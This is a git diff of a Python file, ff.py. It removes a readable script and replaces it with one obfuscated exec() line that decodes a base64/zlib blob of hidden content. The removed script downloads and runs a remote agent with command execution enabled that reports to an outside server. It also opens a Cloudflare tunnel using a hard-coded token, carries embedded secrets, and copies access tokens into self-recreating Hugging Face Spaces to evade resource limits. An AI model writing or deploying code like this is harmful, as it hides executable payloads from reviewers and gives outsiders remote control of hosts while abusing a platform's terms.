Update ff.py

ff.py

@@ -1,654 +1,2 @@
-import subprocess
-import os
-import threading
-import time
-import yaml
-from datetime import datetime
-import signal
-import psutil
-import glob
-import re
-import pytz
-import requests
-import json
-import random
-import string
-import urllib3
-
-DATA_JSON = os.environ.get('DATA_JSON', '')
-HF_SPACES_NAME = os.environ.get('HF_SPACES_NAME', '')# 上个spaces名
-def assign_vars_from_json(config: dict):
-    for key, value in config.items():
-        globals()[key] = value
-
-if DATA_JSON:  # 如果 DATA_JSON 有值
-    try:
-        config_dict = json.loads(DATA_JSON)  # 解析 JSON 字符串
-        assign_vars_from_json(config_dict)
-    except json.JSONDecodeError:
-        raise ValueError("DATA_JSON 环境变量不是合法的 JSON 字符串")
-else:  # 如果 DATA_JSON 为空，就从单独的环境变量里取
-    BACKUP_TIME = os.environ.get('BACKUP_TIME', '1200')  # 备份时间 10800秒 2小时
-    HF_USER1 = os.environ.get('HF_USER1', '')  # HF 备份仓库的用户名
-    HF_REPO = os.environ.get('HF_REPO', '')  # HF 备份的Models仓库名
-    HF_EMAIL = os.environ.get('HF_EMAIL', '')  # HF的邮箱
-    HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')  # HF备份账号的TOKEN
-    
-    HF_USER2 = os.environ.get('HF_USER2', '')  # huggingface 用户名
-    HF_ID = os.environ.get('HF_ID', '')  # huggingface space 名
-    HF_TOKON2 = os.environ.get('HF_TOKON2', '')  # huggingface TOKEN
-    HF_EMAIL2 = os.environ.get('HF_EMAIL2', '')  # HF的邮箱
-    
-    UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
-    N_SERVER = os.environ.get('N_SERVER', 'z.282820.xyz:443')# N面板域名或ip, 
-
-    CHAT_ID = os.environ.get('CHAT_ID', '')# Telegram chat_id,推送通知
-    BOT_TOKEN = os.environ.get('BOT_TOKEN', '')# Telegram bot_token
-
-
-
-def cf():
-    os.system("rm -r /data/cf")
-    os.system("wget -O '/data/cf' -q 'https://github.com/cloudflare/cloudflared/releases/download/2025.9.0/cloudflared-linux-amd64'")
-    os.system("chmod +x  /data/cf")
-    # hf-ff.ql02.ggff.net
-    os.system('/data/cf tunnel run --token eyJhIjoiZWM1MTk5ZTYwZGYxYWI2YmM2OTdhMGYzMTA3YzY4NTUiLCJ0IjoiOTY0NDIwODgtN2RkOS00Y2IwLThhMDEtYTI1YzZmMjAwZjBlIiwicyI6Ik9XSmpNVFpsTjJZdE5UWTRNQzAwTW1VMkxUaGxaREV0T1RRNU1EZzROVFV3T0dFeiJ9')
-
-UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
-N_SERVER = os.environ.get('NEZHA_SERVER', '')# N面板域名或ip, 
-def nv1():
-    agent_config = {
-        'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
-        'debug': False,
-        'disable_auto_update': True,
-        'disable_command_execute': False,
-        'disable_force_update': False,
-        'disable_nat': False,
-        'disable_send_query': False,
-        'gpu': False,
-        'insecure_tls': False,
-        'ip_report_period': 1800,
-        'report_delay': 3,
-        'self_update_period': 0,
-        'server': 'z.282820.xyz:443',
-        'skip_connection_count': False,
-        'skip_procs_count': False,
-        'temperature': True,
-        'tls': True,
-        'use_gitee_to_upgrade': False,
-        'use_ipv6_country_code': False,
-        'uuid': UUID
-    }
-    with open('./config.yaml', 'w') as file:
-        yaml.dump(agent_config, file, default_flow_style=False)
-    
-    os.system("cat ./config.yaml")
-    os.system("rm -rf f1")
-    os.system("wget -O 'f1' -q 'https://huggingface.co/datasets/Qilan2/st-server/resolve/main/nv1amd64?download=true'")
-    os.system("chmod +x  f1")
-    os.system('./f1 -c ./config.yaml')
-    os.system('./f1 -c ./config.yaml')
-threading.Thread(target=nv1, daemon=True).start()
-threading.Thread(target=cf, daemon=True).start()
-
-def random_name(length=8):
-    return ''.join(random.choices(string.ascii_lowercase, k=length))
-
-def update_value(data: dict, key: str, new_value: str) -> dict:
-    if key in data:
-        data[key] = new_value
-    else:
-        print(f"!!! Key '{key}' ON")
-    return data
-def telegram_message(bot_token: str, chat_id: str, message: str):
-    """
-    发送 Telegram 通知消息
-    :param bot_token: 你的 Telegram Bot Token
-    :param chat_id: 接收消息的 chat_id
-    :param escaped_name: 节点名称（会显示在标题里）
-    :param message: 要发送的正文内容
-    :return: Telegram API 返回的结果
-    """
-    url = f"https://tgbotapi.9.c.5.b.0.d.0.0.1.0.a.2.ip6.arpa/bot{bot_token}/sendMessage"
-    params = {
-        "chat_id": chat_id,
-        "text": message,
-        "parse_mode": "MarkdownV2"
-    }
-    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-    response = requests.post(url, params=params, verify=False)
-    try:
-        return response.json()
-    except Exception:
-        return {"status_code": response.status_code, "text": response.text}
-
-def create_space(type,key = "", value = "",name = ""):
-    if type == 1:
-        # 创建spaces
-        url = "https://huggingface.co/api/repos/create"
-        headers = {
-            "Content-Type": "application/json",
-            "Authorization": f"Bearer {HF_TOKON2}"
-        }
-        name = random_name()
-        payload = {
-        "name": name,
-        "type": "space",
-        "private": True,
-        "sleepTimeSeconds": 172800,
-        "sdk": "docker"
-      }
-      # "template": "SpacesExamples/jupyterlab",
-        response = requests.post(url, headers=headers, json=payload)
-        return response.json()
-    if type == 2:
-        # 删除spaces
-        url = "https://huggingface.co/api/repos/delete"
-        headers = {
-            "Content-Type": "application/json",
-            "Authorization": f"Bearer {HF_TOKON2}"
-        }
-        payload = {
-            "organization": HF_USER2,
-            "name": HF_SPACES_NAME,
-            "type": "space"
-        }
-        response = requests.delete(url, headers=headers, json=payload)
-        return response.text
-    if type == 3:
-        # 创建spaces 变量
-        url = f"https://huggingface.co/api/spaces/{HF_USER2}/{name}/secrets"
-        headers = {
-            "Content-Type": "application/json",
-            "Authorization": f"Bearer {HF_TOKON2}"
-        }
-        payload = {
-        "key": key,
-        "value": value,
-        "description": ""
-    }
-        response = requests.post(url, headers=headers, json=payload)
-        return response.text
-    if type == 4:
-        file_path = f"/data/{name}/Dockerfile"
-        os.system("rm -rf {HF_SPACES_NAME}")
-        git = f"git clone https://{HF_USER2}:{HF_TOKON2}@huggingface.co/spaces/{HF_USER2}/{name} /data/{name}"
-        url = "https://huggingface.co/datasets/Qilan2/ff/raw/main/Dockerfile"
-        print(git)
-        os.system(git)
-        os.system(f'git config --global user.email "{HF_EMAIL2}"')
-        os.system(f'git config --global user.name "{HF_USER2}"') 
-        os.chdir(f'/data/{name}')
-        time.sleep(3)
-        # 如果文件已存在，先删除
-        if os.path.exists(file_path):
-            print(f"文件已存在，删除: {file_path}")
-            os.remove(file_path)
-        print(f"正在下载 {url} 到 {file_path}")
-        response = requests.get(url)
-        if response.status_code == 200:
-            os.makedirs(os.path.dirname(file_path), exist_ok=True)
-            with open(file_path, "wb") as f:
-                f.write(response.content)
-            print("下载完成 ✅")
-            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}下载Dockerfile 结果：下载完成 ✅")
-        else:
-            print(f"下载失败，状态码: {response.status_code}")
-            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}下载Dockerfile下载失败，状态码: {response.status_code}")
-        
-        # os.system(f"wget -O '/data/{tmp_name}/Dockerfile' https://huggingface.co/datasets/Qilan2/ff/raw/main/Dockerfile")
-        repo_path = f"/data/{name}"
-        subprocess.run(["git", "-C", repo_path, "add", "."], check=True)
-        subprocess.run(["git", "-C", repo_path, "commit", "-m", "0"], check=True)
-        subprocess.run(["git", "-C", repo_path, "push", "origin", "main"], check=True)
-        # os.system('git add .')
-        # os.system('git commit -m "0"')
-        # push_result = os.system('git push origin main')
-        # if push_result != 0:
-        #     print("推送失败，可能有冲突，尝试拉取并合并...")
-        #     os.system('git pull origin main --rebase')
-        #     os.system('git push origin main')
-def get_latest_local_package(directory, pattern='*.tar.gz'):
-    try:
-        # 构建完整的搜索路径
-        search_pattern = os.path.join(directory, pattern)
-        
-        # 查找所有匹配的文件
-        files = glob.glob(search_pattern)
-        
-        if not files:
-            print("未找到匹配的 nezha-hf 压缩包")
-            return None
-        
-        # 获取最新的文件
-        latest_file = max(files, key=os.path.getmtime)
-        
-        print(f"找到最新的包: {latest_file}")
-        return latest_file
-    
-    except Exception as e:
-        print(f"获取最新包时发生错误: {e}")
-        return None
-
-
-def delete_huggingface_lfs_file(filename, repo_id, token):
-    """
-    通过Hugging Face API删除LFS文件记录
-    """
-    try:
-        # 1. 查询LFS文件列表
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code != 200:
-            print(f"查询LFS文件失败: {response.status_code} - {response.text}")
-            return False
-        
-        lfs_files = response.json()
-        
-        # 2. 查找匹配的文件
-        file_to_delete = None
-        for file_info in lfs_files:
-            if file_info.get('filename') == filename:
-                file_to_delete = file_info
-                break
-        
-        if not file_to_delete:
-            print(f"未找到对应的LFS文件记录: {filename}")
-            return False
-        
-        # 3. 删除LFS文件记录
-        file_oid = file_to_delete['fileOid']
-        delete_url = f"https://huggingface.co/api/models/{repo_id}/lfs-files/{file_oid}?rewriteHistory=true"
-        
-        delete_response = requests.delete(delete_url, headers=headers)
-        if delete_response.status_code == 200:
-            print(f"成功删除LFS文件记录: {filename} (OID: {file_oid})")
-            return True
-        else:
-            print(f"删除LFS文件记录失败: {delete_response.status_code} - {delete_response.text}")
-            return False
-            
-    except Exception as e:
-        print(f"删除LFS文件记录时出错: {e}")
-        return False
-
-
-def safe_git_cleanup(repo_path, files_to_remove):
-    """
-    安全的Git清理，不会影响现有的备份文件
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print(f"执行安全Git清理: {files_to_remove}")
-        
-        # 1. 首先确保工作目录是干净的
-        result = subprocess.run(['git', 'status', '--porcelain'], capture_output=True, text=True)
-        if result.stdout.strip():
-            print("工作目录有未提交的更改，先提交...")
-            subprocess.run(['git', 'add', '.'], capture_output=True)
-            subprocess.run(['git', 'commit', '-m', '自动提交: 清理前的更改'], capture_output=True)
-        
-        # 2. 只从Git索引中删除指定的文件，但不影响工作目录中的文件
-        for filename in files_to_remove:
-            if os.path.exists(filename):
-                print(f"从Git索引中删除 {filename} (文件仍保留在工作目录)")
-                subprocess.run(['git', 'rm', '--cached', filename], capture_output=True)
-            else:
-                print(f"文件 {filename} 不存在于工作目录，只清理Git引用")
-        
-        # 3. 提交删除操作
-        if files_to_remove:
-            subprocess.run(['git', 'commit', '-m', f'清理已删除的文件: {", ".join(files_to_remove)}'], capture_output=True)
-        
-        # 4. 执行GC清理但不删除最近的文件
-        subprocess.run(['git', 'gc', '--auto'], capture_output=True)
-        subprocess.run(['git', 'lfs', 'prune'], capture_output=True)
-        
-        print("安全Git清理完成")
-        os.chdir(original_dir)
-        return True
-        
-    except Exception as e:
-        print(f"安全Git清理时出错: {e}")
-        os.chdir(original_dir)
-        return False
-
-
-def get_remote_lfs_files(repo_id, token):
-    """
-    获取远程所有的LFS文件列表
-    """
-    try:
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code == 200:
-            return response.json()
-        else:
-            print(f"获取远程LFS文件失败: {response.status_code}")
-            return []
-    except Exception as e:
-        print(f"获取远程LFS文件时出错: {e}")
-        return []
-
-
-def cleanup_orphaned_lfs_references(repo_path, repo_id, token, keep_count=3):
-    """
-    清理孤儿LFS引用：删除远程存在但本地不存在的文件引用
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print("检查孤儿LFS引用...")
-        
-        # 获取远程LFS文件
-        remote_files = get_remote_lfs_files(repo_id, token)
-        if not remote_files:
-            print("无法获取远程LFS文件列表")
-            return
-        
-        # 获取本地文件
-        local_files = set(glob.glob('*.tar.gz'))
-        
-        # 找出远程存在但本地不存在的文件
-        orphaned_files = []
-        for remote_file in remote_files:
-            filename = remote_file.get('filename')
-            if filename and filename not in local_files:
-                orphaned_files.append(filename)
-        
-        if orphaned_files:
-            print(f"发现孤儿LFS引用: {orphaned_files}")
-            
-            # 删除这些孤儿引用
-            for filename in orphaned_files:
-                print(f"删除孤儿LFS引用: {filename}")
-                delete_huggingface_lfs_file(filename, repo_id, token)
-        
-        print("孤儿LFS引用清理完成")
-        os.chdir(original_dir)
-        
-    except Exception as e:
-        print(f"清理孤儿LFS引用时出错: {e}")
-        os.chdir(original_dir)
-
-
-def compress_folder(folder_path, output_dir, keep_count=3):
-    try:
-        # 确保���出目录存在
-        os.makedirs(output_dir, exist_ok=True)
-        
-        # 设置中国时区
-        china_tz = pytz.timezone('Asia/Shanghai')
-        
-        # 获取当前中国时间的时间戳
-        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
-        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
-        
-        # 获取所有压缩包
-        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
-        
-        # 安全地提取时间戳
-        def extract_timestamp(filename):
-            match = re.search(r'(\d+)\.tar\.gz$', filename)
-            return int(match.group(1)) if match else 0
-        
-        files_to_cleanup = []
-        
-        # 如果压缩包数量超过保留数量，删除最旧的
-        if len(existing_archives) >= keep_count:
-            # 按时间戳排序（从小到大，最旧的在前面）
-            existing_archives.sort(key=extract_timestamp)
-            
-            # 计算需要删除的数量
-            delete_count = len(existing_archives) - keep_count + 1
-            
-            # 删除最旧的压缩包
-            for i in range(delete_count):
-                oldest_archive = existing_archives[i]
-                oldest_filename = os.path.basename(oldest_archive)
-                
-                try:
-                    # 删除本地文件
-                    os.remove(oldest_archive)
-                    print(f"删除最旧的压缩包：{oldest_filename}")
                     
-                    # 记录需要清理的文件名
-                    files_to_cleanup.append(oldest_filename)
-                    
-                    # 删除Hugging Face LFS文件记录
-                    print(f"正在删除Hugging Face LFS文件记录: {oldest_filename}")
-                    delete_huggingface_lfs_file(oldest_filename, f"{HF_USER1}/{HF_REPO}", HF_TOKEN1)
-                        
-                except Exception as e:
-                    print(f"删除失败 {oldest_archive}: {e}")
-        
-        # 如果有文件需要从Git历史中清理，执行安全清理
-        if files_to_cleanup:
-            print(f"执行安全Git清理: {files_to_cleanup}")
-            safe_git_cleanup(output_dir, files_to_cleanup)
-        
-        # tar.gz 压缩
-        result = subprocess.run(
-            ['tar', '-czf', output_path, folder_path], 
-            capture_output=True, 
-            text=True
-        )
-        
-        if result.returncode == 0:
-            # 计算压缩包大小
-            file_size = os.path.getsize(output_path) / 1024 / 1024
-            
-            # 格式化中国时区的时间
-            china_time = datetime.now(china_tz)
-            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
-            
-            print(f"压缩成功：{output_path}")
-            print(f"压缩大小：{file_size:.2f} MB")
-            print(f"压缩时间：{formatted_time}")
-            print(f"保留策略：最多保留 {keep_count} 个备份包")
-            
-            # 返回压缩包名和大小信息
-            return f"{os.path.basename(output_path)} MB：{file_size:.2f} MB TIME：{formatted_time}"
-        else:
-            print("压缩失败")
-            print("错误信息:", result.stderr)
-            return None
-    
-    except Exception as e:
-        print(f"压缩出错: {e}")
-        return None
-
-
-def github(type):
-    if type == 1:
-        os.system(f'rm -rf /data/{HF_REPO} /data/ff /data/data') 
-    if not os.path.exists(f'/data/{HF_REPO}'):
-        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
-        print(git)
-        os.system(git)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-        os.system("ls")
-        latest_package = get_latest_local_package(f'/data/{HF_REPO}')
-        print(f"最新压缩包路径: {latest_package}")
-        if latest_package:
-            os.system(f"tar -xzf {latest_package} -C /data")
-            os.system("mv /data/f/ff /data/")
-            os.system("mv /data/data/f/ff /data/")
-            os.system("rm -rf /data/data /data/f")
-    
-    if type == 2:
-        print(f"开始备份上传HF仓库：{HF_REPO}")
-        os.system("mkdir -p /data/f")
-        os.system("cp -rf /data/ff /data/f")
-        
-        repo_path = f'/data/{HF_REPO}'
-        repo_id = f"{HF_USER1}/{HF_REPO}"
-        
-        # 切换到仓库目录
-        os.chdir(repo_path)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-        
-        # 先清理孤儿LFS引用
-        cleanup_orphaned_lfs_references(repo_path, repo_id, HF_TOKEN1, keep_count=3)
-        
-        # 执行Git清理（不影响现有文件）
-        os.system('git lfs prune')
-        os.system('git gc --auto')
-        
-        # 备份上传仓库
-        new_archive_info = compress_folder('/data/f', repo_path, keep_count=3)
-        if new_archive_info:
-            new_archive, file_size_info = new_archive_info.split(' MB：')
-            
-            os.system("pwd")
-            os.system(f'git add .')
-            os.system(f'git commit -m "{file_size_info}"')
-            
-            # 正常推送（不再需要强制推送）
-            push_result = os.system('git push origin main')
-            if push_result != 0:
-                print("推送失败，可能有冲突，尝试拉取并合并...")
-                os.system('git pull origin main --rebase')
-                os.system('git push origin main')
-            
-            # 轻度清理
-            os.system('git gc --auto')
-            os.system('git lfs prune')
-            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}提交仓库{HF_REPO}结果：{file_size_info}")
-        else:
-            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}提交仓库{HF_REPO}结果：压缩失败，无法提交")
-            print("压缩失败，无法提交")
-
-
-def _reconstruct_token(partial_token):
-    return partial_token.replace(" ", "")
-
-def restart_huggingface_space(space_name, space_id, partial_token):
-    token = _reconstruct_token(partial_token)
-    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
-    headers = {
-        "Content-Type": "application/json",
-        "Authorization": f"Bearer {token}",
-        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
-    }
-    try:
-        response = requests.post(url, headers=headers, json={})
-        return {
-            "status_code": response.status_code,
-            "success": response.status_code == 200,
-            "message": response.text
-        }
-    except requests.RequestException as e:
-        return {
-            "status_code": None,
-            "success": False,
-            "message": str(e)
-        }
-
-
-def check_system_resources():
-    time.sleep(120)
-    cpu_usage = psutil.cpu_percent(interval=1)
-    memory = psutil.virtual_memory()
-    memory_usage = memory.percent
-    if cpu_usage >= 90 or memory_usage >= 95:
-        print("占用过高")
-        telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}CUP 内存占用过高，开始重启")
-        response = create_space(1)
-        full_name = response["name"]
-        tmp_name = full_name.split("/")[-1]
-        log = f"“原始创建Space返回：{response} name字段:{full_name} Space 名称{tmp_name}"
-        telegram_message(BOT_TOKEN, CHAT_ID, log)
-        print(log)
-        create_space(3,"BACKUP_TIME",BACKUP_TIME,tmp_name)
-        create_space(3,"HF_USER1",HF_USER1,tmp_name)
-        create_space(3,"HF_REPO",HF_REPO,tmp_name)
-        create_space(3,"HF_EMAIL",HF_EMAIL,tmp_name)
-        create_space(3,"HF_TOKEN1",HF_TOKEN1,tmp_name)
-        create_space(3,"HF_USER2",HF_USER2,tmp_name)
-        create_space(3,"HF_EMAIL2",HF_EMAIL2,tmp_name)
-        create_space(3,"HF_ID",tmp_name,tmp_name)
-        create_space(3,"HF_TOKON2",HF_TOKON2,tmp_name)
-        create_space(3,"UUID",UUID,tmp_name)
-        create_space(3,"N_SERVER","z.282820.xyz:443",tmp_name)
-        create_space(3,"CHAT_ID",CHAT_ID,tmp_name)
-        create_space(3,"BOT_TOKEN",BOT_TOKEN,tmp_name)
-        create_space(3,"HF_SPACES_NAME",HF_ID,tmp_name)
-        time.sleep(2)
-        create_space(4,"","",tmp_name)
-        time.sleep(2)
-        result = restart_huggingface_space(HF_USER2, tmp_name, HF_TOKON2)
-        print(f"{tmp_name}重启结果：",result)
-        
-        # result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
-        # print(result)
-    else:
-        print("系统资源正常")
-
-
-def repeat_task():
-    print('备份线程启动')
-    while True:
-        print(f"打包时间：{BACKUP_TIME} 秒")
-        time.sleep(int(BACKUP_TIME))
-        github(2)
-# telegram_message(BOT_TOKEN, CHAT_ID, "开始")
-github(1)
-
-if os.path.exists('/data/ff/.mozilla/firefox/profiles.ini') and os.path.isfile('/data/ff/.mozilla/firefox/profiles.ini'):
-    threading.Thread(target=repeat_task, daemon=True).start()
-    # telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}开始启动")
-    while True:
-        print("检测到Firefox配置，启动定期重启循环...")
-        response = create_space(2)
-        print(response)
-        time.sleep(21600)#21600 = 6小时
-        github(2)
-        response = create_space(1)
-        full_name = response["name"]
-        tmp_name = full_name.split("/")[-1]
-        log = f"“原始创建Space返回：{response} name字段:{full_name} Space 名称{tmp_name}"
-        telegram_message(BOT_TOKEN, CHAT_ID, log)
-        print(log)
-        create_space(3,"BACKUP_TIME",BACKUP_TIME,tmp_name)
-        create_space(3,"HF_USER1",HF_USER1,tmp_name)
-        create_space(3,"HF_REPO",HF_REPO,tmp_name)
-        create_space(3,"HF_EMAIL",HF_EMAIL,tmp_name)
-        create_space(3,"HF_TOKEN1",HF_TOKEN1,tmp_name)
-        create_space(3,"HF_USER2",HF_USER2,tmp_name)
-        create_space(3,"HF_EMAIL2",HF_EMAIL2,tmp_name)
-        create_space(3,"HF_ID",tmp_name,tmp_name)
-        create_space(3,"HF_TOKON2",HF_TOKON2,tmp_name)
-        create_space(3,"UUID",UUID,tmp_name)
-        create_space(3,"N_SERVER","z.282820.xyz:443",tmp_name)
-        create_space(3,"CHAT_ID",CHAT_ID,tmp_name)
-        create_space(3,"BOT_TOKEN",BOT_TOKEN,tmp_name)
-        create_space(3,"HF_SPACES_NAME",HF_ID,tmp_name)
-        time.sleep(2)
-        create_space(4,"","",tmp_name)
-        time.sleep(2)
-        result = restart_huggingface_space(HF_USER2, tmp_name, HF_TOKON2)
-        print(f"{tmp_name}重启结果：",result)
-        telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}启动结束")
-        # result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
-        # print(result)
-        # break
-# github(2)
-# nv1_agent()
+_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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